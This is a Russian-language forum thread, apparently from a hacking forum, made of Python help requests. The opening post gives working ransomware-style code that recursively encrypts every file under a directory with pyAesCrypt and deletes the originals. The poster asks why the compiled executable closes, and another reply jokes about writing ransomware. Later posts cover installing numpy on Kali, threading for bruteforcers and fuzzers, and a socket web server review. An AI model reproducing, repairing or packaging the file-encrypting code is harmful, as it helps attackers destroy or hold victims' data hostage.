• XSS.stack #1 – первый литературный журнал от юзеров форума

Python - задай вопрос получи ответ

Всем привет. У меня такая проблема: exe-шник закрывается сам.
Есть программа - шифровальщик, когда я ее запускаю через консоль, то все ок и все работает. Когда ее запускаю через exe-шник то она закрывается,не свертывается, а имено закрывается, что делать?

компилировал так:

Код для шифровальщика взял здесь:



КОД:
Python:
import pyAesCrypt
import os
# функция шифрования файла
def encryption(file, password):

    # задаём размер буфера
    buffer_size = 512 * 1024

    # вызываем метод шифрования
    pyAesCrypt.encryptFile(
        str(file),
        str(file) + ".crp",
        password,
        buffer_size
    )

    # чтобы видеть результат выводим на печать имя зашифрованного файла
    print("[Файл '" + str(os.path.splitext(file)[0]) + "' зашифрован]")

    # удаляем исходный файл
    os.remove(file)

# функция сканирования директорий
def walking_by_dirs(dir, password):

    # перебираем все поддиректории в указанной директории
    for name in os.listdir(dir):
        path = os.path.join(dir, name)

        # если находим файл, то шифруем его
        if os.path.isfile(path):
            try:
                encryption(path, password)
            except Exception as ex:
                print(ex)
        # если находим директорию, то повторяем цикл в поисках файлов
        else:
            walking_by_dirs(path, password)


password = input("Введите пароль для шифрования: ")
walking_by_dirs("E:CCC", password)
 input()
 
Не получается установить numpy для питона 2.7 в кали, через pip не дает установить в связи с прекращением поддержки с января, как можно поставить?
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Не получается установить numpy для питона 2.7 в кали, через pip не дает установить в связи с прекращением поддержки с января, как можно поставить?
Очевидно ставить numpy для питона, чья поддержка еще не отвалилась. Ну или если ты такой ретроград, то поищи старую версию numpy на https://pypi.org/project/numpy/#history - скачай whl и поставь через "pip install filename.whl". Вот например рандомная старая версия (просто ткнул в какую-то из 2018 года), которая еще поддерживала питон 2.7: https://pypi.org/project/numpy/1.14.2/#files - но канеш использовать питон 2.7 в 2021 году - это как минимум странно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
писать ransomware на Python, норм идея???
Нет. Пиши рансомвару на Лиспе, век воли не видать.
 
Очевидно ставить numpy для питона, чья поддержка еще не отвалилась. Ну или если ты такой ретроград, то поищи старую версию numpy на https://pypi.org/project/numpy/#history - скачай whl и поставь через "pip install filename.whl". Вот например рандомная старая версия (просто ткнул в какую-то из 2018 года), которая еще поддерживала питон 2.7: https://pypi.org/project/numpy/1.14.2/#files - но канеш использовать питон 2.7 в 2021 году - это как минимум странно.
Понял, благодарю. Еще один вопрос, при выполнении скрипта на питоне в кали у меня выдает ошибку синтаксиса на инструкцию ret_command в скрипте. ret это возврат из процедуры в ассемблере. Мне необходимо установить какую-то библиотеку судя по всему в кали? Все зависимости для выполнения скрипта вроде стоят
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Понял, благодарю. Еще один вопрос, при выполнении скрипта на питоне в кали у меня выдает ошибку синтаксиса на инструкцию ret_command в скрипте. ret это возврат из процедуры в ассемблере. Мне необходимо установить какую-то библиотеку судя по всему в кали? Все зависимости для выполнения скрипта вроде стоят
Ну залей сюда скрипт, я не в курсе, что у тебя там за ret_command.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Это норм что у тебя скобок нема после принта?
Для вторых версий петона это было норм, в третьих версиях уже нет.
 
Подскажите реализацию многопотока на python 3.
Пока, что юзаю эту (взял дето на форуме с другого проекта), но с ней есть определенные проблемы...

Python:
from multiprocessing.dummy import Pool

def foo(x):
    # some

pp = Pool(25)
pr = pp.map(foo, range(5))

Так же использовал эту реализацию, плюсы в этой реализации, что можно переключаться с treads на multiprocess изменяя одну строчку, но и с ней были проблемы
Python:
import concurrent.futures
from concurrent.futures import ProcessPoolExecutor

def foo(x):
    # some

if __name__ == '__main__':
    with concurrent.futures.ProcessPoolExecutor(max_workers=25) as executor:
        foo(x)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите реализацию многопотока на python 3.
Ну Петон в принципе не очень хорош с точки зрения многопоточности, поскольку у него есть global interpreter lock и все потоки будут тормозится на иттерациях сборки мусора, ну и еще ряд проблем. Я не знаю подробностей твоей задачи, но я бы предложил либо реализовать задачу через асинхронность (если это io-bound задача), либо на каком-то другом языке (если это cpu-bound задача).
 
Я не знаю подробностей твоей задачи
Обычные requests запросы, парсинг в основном. Про GIL знаю, но все же есть кучи брутов\парсеров\фазеров на питоне...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Обычные requests запросы, парсинг в основном. Про GIL знаю, но все же есть кучи брутов\парсеров\фазеров на питоне...
Ну это io-bound задача, можно сделать через асинхронные запросы, в той же библиотеке requests есть асинхронный вариант использования. В этом случае плодить потоки тебе будет не нужно.
 
Ну это io-bound задача, можно сделать через асинхронные запросы, в той же библиотеке requests есть асинхронный вариант использования. В этом случае плодить потоки тебе будет не нужно.
Скинь пример пожалуйста.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Можно оценку по коду веб сервера на сокетах, что улучшить что убрать и т.д
Python:
import socket
import os
import requests
import threading
from colorama import Fore
class Socket_create:
    sock = 0
    HOST = "host"
    IP = "ip"
    QUANT = 5
    def __init__(self, HOST, IP, QUANT):
        self.HOST = HOST
        self.IP = IP
        self.QUANT = QUANT
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    def sock_options(self, PARAM, PARAM2, INT_T):
        if PARAM == 1 and PARAM2 == 1 and INT_T == 1:
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, INT_T)
            self.sock.bind((self.HOST, self.IP))
            self.sock.listen(self.QUANT)
            print(Fore.GREEN + "Установка опций По умолчанию {} {}".format("SO_REUSEPORT", "SO_REUSEADDR"))
        else:
            print("ВВедите опции вручную или используйте параметры 1,1,1")
        return self.sock


class Client:
    def __init__(self, QUANT_CL, SERVER_SOCKET):
        self.clients = [0] * QUANT_CL
        self.SERVER_SOCK = SERVER_SOCKET
        self.sys_clients = [0] * QUANT_CL
    def accept_cl(self, nnn):
        while True:
            for i in range(len(self.clients)):
                if self.clients[i] == 0:
                    cl_sock, addr = self.SERVER_SOCK.accept()
                    self.clients[i] = cl_sock
                    print("\033[36m {}" .format("есть подключение"))
    def accept_thread(self):
        accept_threadings = threading.Thread(target=self.accept_cl, args=(0,))
        accept_threadings.start()
       
    def cleaner(self, sys1, sys2, position):
        self.clients[position] = sys1
        self.sys_clients[position] = sys2
    def response(self, data, client, position):
        if "/home" in data:
            client.send("HTTP/2.0 200 OK\n\n".encode())
            f = open("home.html", "r")
            read = f.read()
            client.send(read.encode())
            f.close()
        else:
            client.send("HTTP/2.0 200 OK\n\n".encode())
            scriptJS = "<head> <script>   window.location.href = 'home';   </script> </head>"
            client.send(scriptJS.encode())
           
           
    def client_work(self, client, position):
        self.sys_clients[position] = 1
       
        if type(client) == int:
            print("\033[31m {}" .format(client))
            return 0
        while True:
            try:
                data = client.recv(1024).decode()
                print("\033[35m {} {}" .format("ПОЛУЧИЛ ДАННЫЕ", client))
            except:
                self.cleaner(0,0, position)
                client.close()
                break
            self.response(data, client, position)
            self.cleaner(0,0, position)
            client.close()
           
            break
        return 0
    def client_recv_ON(self):
        print("\033[33m {}".format("CALL client_recv_ON"))
        while True:
            for i in range(len(self.clients)):
                if self.clients[i] != 0 and self.sys_clients[i] == 0: #sys это статус работает ли сервер с этит клиентом то 1 если не работает то 0
                    client_thread = threading.Thread(target=self.client_work, args=(self.clients[i], i))
                    client_thread.start()
                else:
                    continue
sockt = Socket_create("192.168.0.107", 3434, 1)
server = sockt.sock_options(1, 1, 1)

client = Client(10, server)
client.accept_thread()
client.client_recv_ON()
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх